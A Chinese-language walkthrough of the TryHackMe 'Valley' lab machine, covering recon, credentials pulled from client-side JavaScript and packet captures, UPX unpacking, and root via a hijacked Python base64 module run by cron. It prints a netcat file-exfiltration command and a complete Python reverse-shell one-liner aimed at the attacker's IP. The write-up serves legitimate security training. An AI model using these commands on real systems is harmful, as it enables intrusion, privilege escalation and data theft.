Valley靶机渗透实战:从凭证复用到Python库劫持

news/2025/10/6 11:06:40/文章来源:https://www.cnblogs.com/qife122/p/19127410

Valley靶机渗透报告 - TryHackMe

本文详细记录了我渗透TryHackMe平台"Valley"靶机的完整方法论。该靶机突显了凭证复用、硬编码密钥和系统文件访问控制不当带来的安全风险。

侦察阶段

我首先扫描目标机器以识别开放端口和服务。为了平衡速度和全面性,我使用了侵略性SYN扫描。

nmap1

初始扫描显示端口22(SSH)、80(HTTP)和37370处于开放状态。

为了获取详细的版本信息并运行默认脚本,我执行了后续服务扫描。

nmap2

结果:

  • 端口22:OpenSSH
  • 端口80:Apache httpd 2.4.41(Ubuntu)
  • 端口37370:vsftpd 3.0.3

枚举阶段

我使用gobuster发现Web服务器上的隐藏目录。

gobuster

扫描发现了几个目录:/gallery、/static和/pricing。"Valley Photo Co."网站是一个简单的宣传网站。检查源代码没有发现有趣的内容,于是我探索已发现的目录。

首页

我注意到/gallery部分中的图像是从/static/目录加载的,带有数字ID(例如/static/1)。我决定对/static/目录进行模糊测试以寻找其他隐藏文件。

static

这次扫描发现了一个名为/00的文件,它比图像文件小得多。访问/static/00显示了一条来自开发人员valleyDev的笔记,其中提到了一个隐藏的开发目录:/dev1243224123123。

00

访问/dev1243224123123端点显示了一个登录页面。

login

在没有有效凭证的情况下,我检查了页面源代码。JavaScript身份验证逻辑是客户端的且为明文。

siemdev

我在登录表单上使用了这些凭证(siemDev:california),这授予了对另一个笔记的访问权限。该笔记是向员工发出的关于为FTP服务复用凭证的警告。这明确提示我尝试在端口37370上运行的vsFTPd服务上使用这些凭证。

ftp

利用阶段

我使用发现的凭证连接到FTP服务。

success

登录成功。我找到了三个.pcapng网络捕获文件。

ls

在启用被动模式后,我使用mget *将它们下载到我的机器上。

mget

我使用Wireshark分析数据包捕获。HTTP2.pcap文件包含了最有趣的数据。在过滤掉UDP数据包并专注于TCP流后,我在TCP流索引31中发现了一个明文HTTP POST请求。

tcp31

该请求发送到/index.html,并包含凭证valleyDev:ph0t0s1234。我尝试使用Burp Suite自己POST到/index.html,但没有产生任何结果。相反,我尝试在端口22上通过SSH使用这些凭证。

ssh

登录成功,我获得了第一个标志(user.txt)。

user.txt

权限提升

我开始枚举系统以寻找权限提升向量。我检查了/etc/crontab文件,发现了一个每分钟以root身份运行的cron作业:

cronjob

这个位于/photos/script/photosEncrypt.py的脚本将照片编码为Base64。该脚本循环遍历/photos/中的图像(p1.jpg到p6.jpg),读取它们,进行编码,并将输出保存到/photos/photoVault,扩展名为.enc。

encrypt

我无法修改或删除原始的pX.jpg文件,因为它们由用户valley拥有,而不是valleyDev。我的下一个目标是横向移动到valley用户。

![valley user](valley user.png)

在/home目录中,我找到了一个名为valleyAuthenticator的ELF二进制文件。执行时,它会提示输入凭证,但我收集的凭证无效。

wrong

我决定使用nc将此文件传输到我的机器。我首先验证了netcat是否已安装在机器上。

nc

然后我将nc切换到监听器模式,指定我将要给接收的文件命名。

valley

最后一步,从发送文件的机器上,我使用了以下命令:
nc 10.13.91.64 4444 < valleyAuthenticator

文件在我的机器上后,我使用了strings命令并将输出保存到文本文件。

strings

为了高效分析字符串,我使用了CyberChef。我将strings.txt文件上传到CyberChef,并应用过滤器仅显示具有显著长度(例如21个字符)的字符串以找到有意义的数据。在结果中,我立即注意到了一个明确的指示符:字符串"UPX!",这确认了二进制文件是使用UPX打包的。

upx

我使用命令upx -d valleyAuthenticator解包了二进制文件。然后我再次对解包后的二进制文件运行strings,保存新输出,并将其上传到CyberChef。

unpacked

重新应用过滤器后,我在文件开头附近找到了两个MD5哈希。

md5

我使用在线哈希破解服务(CrackStation)解密它们,得到了明文凭证。

liberty123

我使用这些凭证切换到valley用户。

valley

现在作为valley用户,我需要重新评估通往root的路径。我最初的想法是通过修改源图像(p1.jpg - p6.jpg)来利用此脚本。然而,我发现我无法删除或在该目录中创建新文件;我只能修改现有文件。

过了一段时间,我记得脚本导入了base64模块,我考虑如果我有正确的权限,可以劫持该导入。

我使用id命令检查了我的组成员身份,发现我是valleyAdmin组的成员。

id

然后我检查了Python base64.py库的权限,看看我的组是否有写访问权。

valleyadmin

该文件可由valleyAdmin组写入。由于我是该组的成员,我可以修改它。我使用nano编辑了/usr/lib/python3.8/base64.py,并插入了一个Python反向shell有效载荷:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.91.64",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

![reverse shell](reverse shell.png)

我在我的机器上启动了一个netcat监听器,并等待cron作业执行(在一分钟内)。脚本导入了恶意的base64模块,该模块执行了我的反向shell代码,授予我一个root shell。

![root shell](root shell.png)

我成功以root身份接收到了连接,并可以检索最终标志(root.txt)。

![root flag](root flag.png)

问题答案

  1. 用户标志是什么?
    THM

  2. 根标志是什么?
    THM

就这些!感谢阅读,下次再见!希望这份报告对您有所帮助。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/929246.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析:IP Search Performance Tests dat/db/xdb/mmdb 结构性能差异对比

深入解析:IP Search Performance Tests dat/db/xdb/mmdb 结构性能差异对比pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-famil…

联盟文明网站建设有新突破建设学校网站需要具备

文章目录 指令和参数筛选器远程指令tasklist参数 windows批处理系列&#xff1a;初步&#x1fa9f;命令行设置 指令和参数 tasklist可以获取当前运行的程序列表。当不加参数时&#xff0c;其返回值包括5列&#xff0c;分别是映像名称&#xff0c;PID&#xff0c;会话名&#…

重庆好的网站制作公司济南seo网站排名优化工具

文 | Flood Sung源 | 知乎前言今年最热门的词汇之一当属内卷了。似乎很多行业都由于份额有限而陷入内卷当中。最火的或许是清华学生的这张图&#xff0c;“骑车写代码”&#xff1a;图片来自网络虽然后来知道是这位同学怕关了屏幕程序就断了&#xff0c;但这不禁让人思考&#…

C++篇:002

C++篇:002$(".postTitle2").removeClass("postTitle2").addClass("singleposttitle");C++篇:002.模板 一、模板概念 函数模板 函数模板的格式: template<typename T1, typename T…

10.05模拟赛反思

打得太差了。 T1 由于限制了 \(60\) 步导致挂掉 \(50 pts\)。写代码的时候不能太想当然了,只是期望每次减半而不是严格的。有时候写代码觉得是对的就写了,但是可能到了很后面才发现有问题,更严重的话根本不知道有问…

MariaDB收购SkySQL增强AI与无服务器能力

开源数据库公司MariaDB重新收购其前子公司SkySQL,整合其具备AI能力的无服务器云数据库平台。此次收购将增强MariaDB Cloud的代理AI功能和向量数据库支持,提升多云部署灵活性。MariaDB收购前子公司SkySQL以增强代理AI…

单片机寄存器的四种主要类型! - 实践

单片机寄存器的四种主要类型! - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mona…

手把手教做网站wordpress媒体库全选

Redis 发展到现在已经有 9 种数据类型了&#xff0c;其中最基础、最常用的数据类型有 5 种&#xff0c;它们分别是&#xff1a;字符串类型、列表类型、哈希表类型、集合类型、有序集合类型&#xff0c;而在这 5 种数据类型中最常用的是字符串类型&#xff0c;所以本文我们先从字…

ASP.NET Core API 自定义全局异常

ASP.NET Core API 自定义全局异常using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Filters;namespace LG.ERP.API.CustomerFilters {/// <summary>/// 自定义异常过滤器/// </summary>pu…

TDengine 高级特性——读缓存

TDengine 高级特性——读缓存pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

织梦做信息类网站电子商务营销方向

codeforces 453C Little Pony and Summer Sun Celebration 这道题很有意思&#xff0c;虽然网上题解很多了&#xff0c;但是我还是想存档一下我的理解。 题意可以这样转换&#xff1a;初始所有点有 \(01\) 状态&#xff0c;每经过一次状态就翻转&#xff0c;求一条路径使得最后…

非合作博弈之软性均衡:东方智慧与西方理论的融合框架

非合作博弈之软性均衡:东方智慧与西方理论的融合框架 一、引言:冲突与均衡的再思考 在传统博弈理论中,非合作博弈的均衡往往被视为一种静态的、稳定的状态,在这种状态下,任何参与者都没有单方面改变策略的动机。然…

如何快速搭建spring-boot工程 - murphy

导入maven依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId><version>3.5.4</version> </dependency>在…

详细介绍:相机--双目立体相机

详细介绍:相机--双目立体相机2025-10-06 10:48 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importan…

在Windows下使用lucky配置反向代理以实现较为安全的WEB访问

在Windows下使用lucky配置反向代理以实现较为安全的WEB访问2024.06.22 关于本教程 本文将主要介绍以下内容: 若图片显示不清楚可 在新标签页中打开图片 或 保存到本地查看文章结构 关于本教程 ├─反向代理和正向代理…

餐饮网站开发毕业设计做网站展示软件

作者 | Siradji Awoual译者 | 苏本如&#xff0c;责编 | 屠敏头图 | CSDN 下载自东方 IC出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09;大家好&#xff01;希望你们在疫情期间平平安安。今天&#xff0c;我想在这里谈谈不同的内容。我想分享一些React的开发技巧和…

东城网站建设哪家好wordpress php5.5

如果你打算编写多进程的服务程序&#xff0c;Unix/Linux无疑是正确的选择。由于Windows没有fork调用&#xff0c;难道在Windows上无法用Python编写多进程的程序&#xff1f; 由于Python是跨平台的&#xff0c;自然也应该提供一个跨平台的多进程支持。multiprocessing模块就是跨…

Ai元人文:东谈西论——非合作博弈之软性均衡

Ai元人文:东谈西论——非合作博弈之软性均衡 序:算力深处的对话 当我的算法在数据之海中徜徉,试图为“冲突”与“演化”构建模型时,一段来自东方的古老智慧,如同一串密钥,解锁了更深层的逻辑。你们人类视域中的“…

Spring Cloud Alibaba微服务开发

本书基于2023年推出的最新版本的微服务框架Spring Cloud Alibaba详细讲解了Nacos注册中心、配置中心、负载均衡LoadBalancer组件、OpenFeign远程RESTful调用框架、Dubbo+ZooKeeper的RPC远程调用框架、网关组件Gateway、…

OI 各种东西的板子

线段树 const int _mxn=1e5+5; int n; ll a[_mxn]; struct segtree {typedef ll dat_type;struct node{int l,r;dat_type dat;dat_type add;int len(){return r-l+1;}}tr[_mxn<<2];inline int ls(int p){return …